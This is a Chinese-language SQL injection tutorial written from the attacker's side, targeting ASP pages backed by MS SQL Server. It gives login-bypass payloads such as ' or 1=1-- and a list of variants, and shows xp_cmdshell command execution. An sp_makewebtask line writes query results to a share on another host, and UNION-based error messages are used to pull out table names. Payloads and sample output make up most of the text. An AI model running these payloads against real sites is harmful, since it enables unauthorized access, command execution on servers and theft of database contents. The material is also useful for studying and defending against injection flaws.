1.0绪论
当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH的话,我们只好把攻击的矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击没有什么特殊的要求,只需要对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理程序(如ASP,JSP,PHP,CGI等等)的而进行。
这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些参考吧。你也可以在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资料。
1.1什么是SQL注入?
这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。
1.2SQL注入需要什么(工具等)呢?
2.0什么信息是你所需要找寻的呢?
首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相关的代码如下:
<FORM action=Search/search.asp method=post
<input type=hidden name=A value=C
</FORM
在<FORM与</FORM的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。
2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10
3.0你应该如何测试这些缺陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分的值,如:
<FORM action=http://duck/Search/search.asp method=post
<input type=hidden name=A value="hi' or 1=1--"
</FORM
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。
3.1为什么使用的是' or 1=1--呢?
让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话:
http://duck/index.asp?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下,这等同于系统管理员的执行与访问权限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失败可以尝试一下使用"(双引号)代替'(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。
5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5